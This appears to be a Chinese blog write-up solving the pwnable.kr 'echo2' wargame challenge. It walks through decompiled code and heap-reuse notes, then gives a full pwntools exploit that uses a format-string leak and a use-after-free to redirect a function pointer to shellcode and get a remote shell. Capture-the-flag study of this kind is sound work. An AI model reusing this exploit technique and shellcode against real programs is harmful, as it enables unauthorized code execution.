avatar

pwnable.kr echo2

继续学新的姿势,和之前的题目有点像,但利用但姿势不同~一道比较基础的uaf+fsb。

确定思路

拿到题目先看一下是多少位的,然后再看看开了什么保护。发现是64位的程序,保护嘛——都没开,和上一题情况一样。用上一次的套路不行吗,废话肯定不行啦。。。上一次的情况是我们可以通过栈溢出控制rip,这一次不存在栈溢出了,所以劫持不了rip,得想一个新的法子。

enter image description here

然后去ida里面看看程序的逻辑。

main函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
int __cdecl main(int argc, const char **argv, const char **envp)
{
_QWORD *v3; // rax
unsigned int v5; // [rsp+Ch] [rbp-24h]
__int64 v6; // [rsp+10h] [rbp-20h]
__int64 v7; // [rsp+18h] [rbp-18h]
__int64 v8; // [rsp+20h] [rbp-10h]

setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
o = malloc(0x28uLL);
*((_QWORD *)o + 3) = greetings;
*((_QWORD *)o + 4) = byebye;
printf("hey, what's your name? : ", 0LL);
__isoc99_scanf("%24s", &v6);
v3 = o;
*(_QWORD *)o = v6;
v3[1] = v7;
v3[2] = v8;
id = v6;
getchar();
func[0] = (__int64)echo1;
qword_602088 = (__int64)echo2;
qword_602090 = (__int64)echo3;
v5 = 0;
do
{
while ( 1 )
{
while ( 1 )
{
puts("\n- select echo type -");
puts("- 1. : BOF echo");
puts("- 2. : FSB echo");
puts("- 3. : UAF echo");
puts("- 4. : exit");
printf("> ");
__isoc99_scanf("%d", &v5);
getchar();
if ( v5 > 3 )
break;
((void (*)(void))func[v5 - 1])();
}
if ( v5 == 4 )
break;
puts("invalid menu");
}
cleanup();
printf("Are you sure you want to exit? (y/n)");
v5 = getchar();
}
while ( v5 != 121 );
puts("bye");
return 0;
}

echo2

1
2
3
4
5
6
7
8
9
10
__int64 echo2()
{
char format; // [rsp+0h] [rbp-20h]

(*((void (__fastcall **)(void *))o + 3))(o);
get_input(&format, 32LL);
printf(&format);
(*((void (__fastcall **)(void *))o + 4))(o);
return 0LL;
}

echo3

1
2
3
4
5
6
7
8
9
10
11
12
__int64 echo3()
{
char *s; // ST08_8

(*((void (__fastcall **)(void *))o + 3))(o);
s = (char *)malloc(0x20uLL);
get_input(s, 32LL);
puts(s);
free(s);
(*((void (__fastcall **)(void *, signed __int64))o + 4))(o, 32LL);
return 0LL;
}

cleanup

1
2
3
4
void cleanup()
{
free(o);
}

一点必备的基础知识储备

已经释放的堆块同样使用fd和bk字段。这两个字段可以作为漏洞利用字段。fd字段指向之前的已释放堆块,bk字段指向之后的已释放堆块。这就表示释放的堆块存储在一个双向链表中。然而所有的堆块不是保存在一个链表中的。实际上有很多链表保存释放的堆块。每个链表包含的是特定大小的堆块。这样的话搜索指定大小的堆块将会很快,因为只需要在指定大小的链表中搜索相应堆块。现在我们来矫正一下刚开始的陈述:当申请内存时,首先从具有相同大小的已经释放的堆块(或者大一点的堆块)中查找并重新使用这段内存。仅仅当没有找到合适的堆块时才会使用顶块

在echo2函数中有明显的格式化字符串漏洞,我们可以基于它泄漏信息。echo1中没有实现的思路就可以在这里用到了(不清楚的同学可以返回阅读上一篇文章echo1),我们在第一次输入name时把shellcode布置在栈上,然后在echo1时leak出shellcode距离一个固定位置的相对位置。然后就是怎么劫持rip了,我们可以选择4,这时候会调用cleanup,把o free掉,但此时程序不会真正但退出,然后我们选择n,程序又会回来。我们调用echo3,这时候对于较小的堆数据,再次进行malloc时,会优先选择上一次free掉的堆空间

大于512字节的请求,是纯粹的最佳分配,通常取决于FIFO,就是最近使用过的

小于64字节的请求,这是一个缓存分配器,保持一个快速的再生池块

在这个两者之间的,对于大的和小的请求的组合,做的最好的是通过尝试,找到满足两个目标的最好的

对于特别大的字节,大于128KB,如果支持的话,依赖于系统内存映射设备

这下思路就明确了,把echo2中leak出来的shellcode地址通过echo3写到o+3处这样我们再次调用3号功能时,就得到一个shell。

o[3]—>greeting函数指针
o[4]—>goodbye函数指针

本地调试

输入name为123,可以看到我们的输入在栈中的偏移是6,然后输出偏移为9的指针数据,减去0x20正好是name的地址。

enter image description here

enter image description here

enter image description here

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
#context.log_level = 'debug'
target = remote('pwnable.kr',9011)
target.recvuntil('name? :')
shellcode = ''
shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"
shellcode += "\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
target.sendline(shellcode)
target.recvuntil('>')
target.sendline('2')
payload = '%9$p'
target.sendline(payload)
target.recvline()
addr_name = int(target.recvline(),16) - 0x20
print hex(addr_name)
target.sendline('4')
target.sendline('n')
target.sendline('3')
payload = 'A' * 24 + p64(addr_name)
target.sendline(payload)
target.interactive()

enter image description here

Author: CarlStar
Link: http://yoursite.com/2018/05/31/pwnable-kr-echo2/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.

Comment